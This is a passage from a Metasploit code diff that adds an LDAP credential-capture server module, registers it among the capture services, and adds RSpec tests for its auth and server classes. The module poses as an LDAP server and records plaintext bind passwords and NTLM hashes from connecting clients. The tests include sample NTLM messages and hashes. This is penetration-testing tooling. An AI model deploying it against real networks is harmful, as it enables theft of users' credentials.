OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']),
|
||||
OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']),
|
||||
OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']),
|
||||
OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
unless datastore['CHALLENGE'].to_s =~ /^([a-zA-Z0-9]{16})$/
|
||||
print_error('CHALLENGE syntax must match 1122334455667788')
|
||||
return
|
||||
end
|
||||
exploit
|
||||
end
|
||||
|
||||
def primer
|
||||
service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data|
|
||||
if processed_data[:post_pdu]
|
||||
if processed_data[:error_msg]
|
||||
print_error(processed_data[:error_msg])
|
||||
else
|
||||
print_good(processed_data[:result_message])
|
||||
report_cred(processed_data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:private],
|
||||
private_type: opts[:private_type]
|
||||
}.merge(service_data)
|
||||
|
||||
if opts[:domain]
|
||||
credential_data = {
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: opts[:domain]
|
||||
}.merge(credential_data)
|
||||
end
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -198,6 +198,7 @@ module Msf
|
|||
'DRDA' => 'auxiliary/server/capture/drda',
|
||||
'FTP' => 'auxiliary/server/capture/ftp',
|
||||
'IMAP' => 'auxiliary/server/capture/imap',
|
||||
'LDAP' => 'auxiliary/server/capture/ldap',
|
||||
'MSSQL' => 'auxiliary/server/capture/mssql',
|
||||
'MySQL' => 'auxiliary/server/capture/mysql',
|
||||
'POP3' => 'auxiliary/server/capture/pop3',
|
||||
|
@ -578,6 +579,11 @@ module Msf
|
|||
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
||||
end
|
||||
|
||||
def configure_ldap(datastore, config)
|
||||
datastore['DOMAIN'] = config[:ntlm_domain]
|
||||
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
||||
end
|
||||
|
||||
def configure_mssql(datastore, config)
|
||||
datastore['DOMAIN_NAME'] = config[:ntlm_domain]
|
||||
datastore['CHALLENGE'] = config[:ntlm_challenge]
|
||||
|
|
|
@ -0,0 +1,252 @@
|
|||
# frozen_string_literal: true
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
RSpec.describe Rex::Proto::LDAP::Auth do
|
||||
subject(:nil_parameter_auth) do
|
||||
described_class.new(nil, nil, nil, nil, nil)
|
||||
end
|
||||
|
||||
subject(:parameter_auth) do
|
||||
described_class.new('1122334455667788', 'my_domain', 'my_server', 'my_dnsname', 'my_dnsdomain')
|
||||
end
|
||||
|
||||
before do
|
||||
@type3 = "0\x82\x01D\x02\x01\x01`\x82\x01=\x02\x01\x03\x04\x00\xA3\x82\x014\x04\nGSS-SPNEGO\x04\x82\x01$NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00@"\
|
||||
"\x00\x00\x00\x92\x00\x92\x00X\x00\x00\x00\f\x00\f\x00\xEA\x00\x00\x00\b\x00\b\x00\xF6\x00\x00\x00\x16\x00\x16\x00\xFE\x00\x00\x00\x10\x00\x10"\
|
||||
"\x00\x14\x01\x00\x00\x05\x02\x80BN\x98\xF8\x84,\x8At\b\x98\xEC\xB7\xC8\x15\x12l\x01\x92\xDDO\x88<\xFA\x0F\xF4Q\x9AA\x12\xC4\x991\xE2\xA0\xCETk"\
|
||||
"\x83\x00\xCA\x8D\x01\x01\x00\x00\x00\x00\x00\x00\x80\x15sIU\t\xDA\x01\x92\xDDO\x88<\xFA\x0F\xF4\x00\x00\x00\x00\x02\x00\f\x00D\x00O\x00M\x00A\x00I\x00N"\
|
||||
"\x00\x01\x00\f\x00S\x00E\x00R\x00V\x00E\x00R\x00\x04\x00\x16\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x03\x00$\x00S\x00E\x00R\x00V"\
|
||||
"\x00E\x00R\x00.\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00U\x00s\x00e\x00r\x00W\x00O\x00R"\
|
||||
"\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00\xFD\xF0\x01l#bF\xD2\x87\x14\x119#c*\xBA"
|
||||
end
|
||||
|
||||
let(:user_login) { OpenStruct.new }
|
||||
let(:ntlm_type1) do
|
||||
ntlm1 = Net::NTLM::Message::Type1.new.serialize
|
||||
|
||||
sasl = ['GSS-SPNEGO'.to_ber, ntlm1.to_ber].to_ber_contextspecific(3)
|
||||
br = [
|
||||
Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl
|
||||
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
|
||||
|
||||
type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax)
|
||||
pdu = Net::LDAP::PDU.new(type1)
|
||||
pdu.bind_parameters
|
||||
end
|
||||
let(:ntlm_type3) do
|
||||
pdu = Net::LDAP::PDU.new(@type3.read_ber(Net::LDAP::AsnSyntax))
|
||||
pdu.bind_parameters
|
||||
end
|
||||
|
||||
context '#initialize' do
|
||||
it 'sets default values when called with nil arguments' do
|
||||
expect(nil_parameter_auth.instance_variable_get(:@domain)).to eq('DOMAIN')
|
||||
expect(nil_parameter_auth.instance_variable_get(:@server)).to eq('SERVER')
|
||||
expect(nil_parameter_auth.instance_variable_get(:@dnsname)).to eq('server')
|
||||
expect(nil_parameter_auth.instance_variable_get(:@dnsdomain)).to eq('example.com')
|
||||
expect(nil_parameter_auth.instance_variable_get(:@challenge).length).to eq(8)
|
||||
end
|
||||
|
||||
it 'sets provided values when called with arguments' do
|
||||
expect(parameter_auth.instance_variable_get(:@domain)).to eq('my_domain')
|
||||
expect(parameter_auth.instance_variable_get(:@server)).to eq('my_server')
|
||||
expect(parameter_auth.instance_variable_get(:@dnsname)).to eq('my_dnsname')
|
||||
expect(parameter_auth.instance_variable_get(:@dnsdomain)).to eq('my_dnsdomain')
|
||||
expect(parameter_auth.instance_variable_get(:@challenge).length).to eq(8)
|
||||
end
|
||||
end
|
||||
|
||||
context '#handle_anonymous_request' do
|
||||
before do
|
||||
user_login.name = ''
|
||||
user_login.authentication = ''
|
||||
end
|
||||
|
||||
it 'returns a hash with expected values for anonymous requests' do
|
||||
result = parameter_auth.handle_anonymous_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('')
|
||||
expect(result[:pass]).to eq('')
|
||||
expect(result[:domain]).to be_nil
|
||||
expect(result[:auth_type]).to eq('Anonymous')
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSuccess)
|
||||
end
|
||||
end
|
||||
|
||||
context '#handle_simple_request' do
|
||||
it 'handles requests with an username and domain in a DN object' do
|
||||
user_login.name = 'cn=username,dc=domain,dc=com'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
result = parameter_auth.handle_simple_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('username')
|
||||
expect(result[:domain]).to eq('domain.com')
|
||||
expect(result[:private]).to eq('password')
|
||||
expect(result[:private_type]).to eq(:password)
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
expect(result[:auth_type]).to eq('Simple')
|
||||
end
|
||||
|
||||
it 'handles requests with an username and multiple DC components for domain in a DN object' do
|
||||
user_login.name = 'cn=username,dc=domain1,dc=domain2,dc=domain3'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
result = parameter_auth.handle_simple_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('username')
|
||||
expect(result[:domain]).to eq('domain1.domain2.domain3')
|
||||
expect(result[:private]).to eq('password')
|
||||
expect(result[:private_type]).to eq(:password)
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
expect(result[:auth_type]).to eq('Simple')
|
||||
end
|
||||
|
||||
it 'handles requests with information in the form of username@domain' do
|
||||
user_login.name = 'username@domain.com'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
result = parameter_auth.handle_simple_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('username')
|
||||
expect(result[:domain]).to eq('domain.com')
|
||||
expect(result[:private]).to eq('password')
|
||||
expect(result[:private_type]).to eq(:password)
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
expect(result[:auth_type]).to eq('Simple')
|
||||
end
|
||||
|
||||
it 'handles requests with invalid DN and CN components' do
|
||||
user_login.name = 'cn=user,name,mydomain,dc=com'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
expect { parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError)
|
||||
end
|
||||
|
||||
it 'handles requests with username and domain in NETBIOS format' do
|
||||
user_login.name = 'domain\\username'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
result = parameter_auth.handle_simple_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('username')
|
||||
expect(result[:domain]).to eq('domain')
|
||||
expect(result[:private]).to eq('password')
|
||||
expect(result[:private_type]).to eq(:password)
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
expect(result[:auth_type]).to eq('Simple')
|
||||
end
|
||||
|
||||
it 'handles authentication requests with incorrect request format' do
|
||||
user_login.name = 'username'
|
||||
user_login.authentication = 'password'
|
||||
|
||||
result = parameter_auth.handle_simple_request(user_login)
|
||||
|
||||
expect(result[:user]).to eq('username')
|
||||
expect(result[:domain]).to be_nil
|
||||
expect(result[:private]).to eq('password')
|
||||
expect(result[:private_type]).to eq(:password)
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeInvalidCredentials)
|
||||
expect(result[:auth_type]).to eq('Simple')
|
||||
end
|
||||
end
|
||||
|
||||
context '#handle_sasl_request' do
|
||||
context 'using GSS-SPNEGO mechanism' do
|
||||
context 'using LM/NTLM authentication' do
|
||||
it 'handles NTLM Type1 requests with an NTLM type2 response' do
|
||||
result = parameter_auth.handle_sasl_request(ntlm_type1)
|
||||
|
||||
expect(result[:server_creds]).to be_a(String)
|
||||
expect(Net::NTLM::Message.parse(result[:server_creds])).to(be_a(Net::NTLM::Message::Type2))
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSaslBindInProgress)
|
||||
expect(result[:auth_type]).to eq('SASL')
|
||||
end
|
||||
|
||||
it 'handles NTLM Type3 requests containing client information' do
|
||||
result = parameter_auth.handle_sasl_request(ntlm_type3)
|
||||
|
||||
expect(result[:domain]).to eq('DOMAIN')
|
||||
expect(result[:user]).to eq('User')
|
||||
expect(result[:private]).not_to be_nil
|
||||
expect(result[:private_type]).to eq(:ntlm_hash)
|
||||
expect(result[:auth_type]).to eq('SASL')
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
expect(result[:auth_type]).to eq('SASL')
|
||||
end
|
||||
end
|
||||
|
||||
context 'unsupprted SASL value' do
|
||||
let(:request) do
|
||||
auth_message = 'INVALIDSSP'
|
||||
sasl = ['GSS-SPNEGO'.to_ber, auth_message.to_ber].to_ber_contextspecific(3)
|
||||
br = [
|
||||
Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl
|
||||
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
|
||||
|
||||
type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax)
|
||||
pdu = Net::LDAP::PDU.new(type1)
|
||||
pdu.bind_parameters
|
||||
end
|
||||
it 'hanldes and unknown SASL header as unsuppoted' do
|
||||
result = parameter_auth.handle_sasl_request(request)
|
||||
expect(result[:auth_type]).to eq('SASL')
|
||||
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'private methods' do
|
||||
context '#generate_type2_response' do
|
||||
it 'returns a valid NTLM Type2 message from NTLM Type1 message' do
|
||||
message = Net::NTLM::Message.parse(ntlm_type1.authentication[1])
|
||||
result = parameter_auth.send(:generate_type2_response, message)
|
||||
|
||||
expect(result).to be_a(String)
|
||||
end
|
||||
end
|
||||
|
||||
context '#handle_type3_message' do
|
||||
it 'handles NTLM Type3 message and returns the expected authentication information' do
|
||||
message = Net::NTLM::Message.parse(ntlm_type3.authentication[1])
|
||||
result = parameter_auth.send(:handle_type3_message, message)
|
||||
|
||||
expect(result[:domain]).to eq('DOMAIN')
|
||||
expect(result[:user]).to eq('User')
|
||||
expect(result[:private]).not_to be_nil
|
||||
expect(result[:private_type]).to eq(:ntlm_hash)
|
||||
expect(result[:ntlm_ver]).not_to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context '#process_ntlm_hash' do
|
||||
it 'processes NTLM hash from Type3 message and returns the expected information' do
|
||||
ntlm_info = {
|
||||
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
|
||||
lm_hash: '054ab6f7f2d60c068bf03a4e27d99834',
|
||||
lm_cli_challenge: '2464587cc5ef2d6c',
|
||||
nt_hash: '93d3aa55263a1d37931a67a5b54710b8',
|
||||
nt_cli_challenge: '0101000000000000006e8eed5507da012464587cc5ef2d6c0000000002000c004
|
||||
4004f004d00410049004e0001000c005300450052005600450052000400160065
|
||||
00780061006d0070006c0065002e0063006f006d0003002400530045005200560
|
||||
0450052002e006500780061006d0070006c0065002e0063006f006d0000000000',
|
||||
domain: "D\x00O\x00M\x00A\x00I\x00N\x00",
|
||||
user: "U\x00s\x00e\x00r\x00",
|
||||
host: "W\x00O\x00R\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00"
|
||||
}
|
||||
|
||||
result = parameter_auth.send(:process_ntlm_hash, ntlm_info)
|
||||
|
||||
expect(result[:domain]).to eq('DOMAIN')
|
||||
expect(result[:user]).to eq('User')
|
||||
expect(result[:private]).not_to be_nil
|
||||
expect(result[:private_type]).to eq(:ntlm_hash)
|
||||
expect(result[:ntlm_ver]).not_to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,161 @@
|
|||
# frozen_string_literal: true
|
||||
require 'rex/text'
|
||||
|
||||
RSpec.describe Rex::Proto::LDAP::Server do
|
||||
|
||||
subject(:ldif) { nil }
|
||||
|
||||
subject(:auth_provider) do
|
||||
Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil)
|
||||
end
|
||||
|
||||
subject(:server) do
|
||||
described_class.new('0.0.0.0', 40000, true, true, ldif, nil, auth_provider)
|
||||
end
|
||||
|
||||
let(:response) {}
|
||||
|
||||
before do
|
||||
server.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data|
|
||||
processed_data = 'Processed Data'
|
||||
end
|
||||
end
|
||||
|
||||
context 'initialize' do
|
||||
it 'sets the server options correctly' do
|
||||
expect(server.serve_udp).to eq(true)
|
||||
expect(server.serve_tcp).to eq(true)
|
||||
expect(server.sock_options).to include('LocalHost' => '0.0.0.0', 'LocalPort' => 40000, 'Comm' => nil)
|
||||
expect(server.ldif).to eq(ldif)
|
||||
expect(server.instance_variable_get(:@auth_provider)).to eq(auth_provider)
|
||||
expect(server.instance_variable_get(:@auth_provider)).to be_a(Rex::Proto::LDAP::Auth)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#running?' do
|
||||
context 'when the server is not running' do
|
||||
it 'returns false' do
|
||||
expect(server.running?).to be_nil
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the server is running' do
|
||||
before { server.start }
|
||||
|
||||
it 'returns true' do
|
||||
expect(server.running?).not_to be_nil
|
||||
end
|
||||
|
||||
after { server.stop }
|
||||
end
|
||||
end
|
||||
|
||||
describe '#start' do
|
||||
context 'start server with the provided options' do
|
||||
before { server.start }
|
||||
|
||||
|
||||
it 'starts the UDP server if serve_udp is true' do
|
||||
if server.serve_udp
|
||||
expect(server.udp_sock).to be_a(Rex::Socket::Udp)
|
||||
expect(server.running?).to be true
|
||||
end
|
||||
end
|
||||
|
||||
it 'starts the TCP server if serve_tcp is true' do
|
||||
if server.serve_tcp
|
||||
expect(server.tcp_sock).to be_a(Rex::Socket::TcpServer)
|
||||
expect(server.running?).to be true
|
||||
end
|
||||
end
|
||||
|
||||
after { server.stop }
|
||||
end
|
||||
end
|
||||
|
||||
describe '#stop' do
|
||||
before { server.start }
|
||||
|
||||
it 'stops the server when running' do
|
||||
server.stop
|
||||
expect(server.running?).to be nil
|
||||
end
|
||||
end
|
||||
|
||||
describe '#dispatch_request' do
|
||||
it 'calls dispatch_request_proc if it is set' do
|
||||
client = double('client')
|
||||
allow(client).to receive(:peerhost) { '1.1.1.1' }
|
||||
allow(client).to receive(:peerport) { '389' }
|
||||
allow(client).to receive(:write).with(response)
|
||||
allow(client).to receive(:close)
|
||||
|
||||
block_called = false
|
||||
server.dispatch_request_proc = proc { block_called = true }
|
||||
server.dispatch_request(client, 'LDAP request data')
|
||||
expect(block_called).to be true
|
||||
end
|
||||
|
||||
it 'calls default_dispatch_request if dispatch_request_proc is not set' do
|
||||
client = double('client')
|
||||
allow(client).to receive(:peerhost) { '1.1.1.1' }
|
||||
allow(client).to receive(:peerport) { '389' }
|
||||
allow(client).to receive(:write).with(any_args)
|
||||
allow(client).to receive(:close)
|
||||
|
||||
expect { server.dispatch_request(client, String.new("02\x02\x01\x01`-\x02\x01\x03\x04\"cn=user,dc=example,dc=com\x80\x04kali").force_encoding('ASCII-8BIT')) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
describe '#default_dispatch_request' do
|
||||
it 'returns nil for empty request data' do
|
||||
client = double('client')
|
||||
allow(client).to receive(:peerhost) { '1.1.1.1' }
|
||||
allow(client).to receive(:peerport) { '389' }
|
||||
allow(client).to receive(:write).with(any_args)
|
||||
allow(client).to receive(:close)
|
||||
data = ''
|
||||
expect { server.default_dispatch_request(client, data) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
describe '#encode_ldap_response' do
|
||||
it 'encodes an LDAP response correctly' do
|
||||
msgid = 1
|
||||
code = Net::LDAP::ResultCodeSuccess
|
||||
dn = ''
|
||||
msg = Net::LDAP::ResultStrings[Net::LDAP::ResultCodeSuccess]
|
||||
tag = Net::LDAP::PDU::BindResult
|
||||
context_data = nil
|
||||
context_code = nil
|
||||
|
||||
response = server.encode_ldap_response(msgid, code, dn, msg, tag, context_data, context_code)
|
||||
expect(response).to be_a(String)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#search_result' do
|
||||
context 'when searching with no LDIF data' do
|
||||
it 'returns a random search result' do
|
||||
result = server.search_result(nil, 1)
|
||||
|
||||
expect(result).to be_nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#processed_pdu_handler' do
|
||||
it 'sets the processed_pdu_handler correctly' do
|
||||
|
||||
expect(server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).to be_a(Proc)
|
||||
expect((server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).call({})).to eq('Processed Data')
|
||||
end
|
||||
end
|
||||
|
||||
describe '#suitable_response' do
|
||||
it 'returns the appropriate response type for a given request type' do
|
||||
expect(server.suitable_response(Net::LDAP::PDU::BindRequest)).to eq(Net::LDAP::PDU::BindResult)
|
||||
expect(server.suitable_response(Net::LDAP::PDU::SearchRequest)).to eq(Net::LDAP::PDU::SearchResult)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue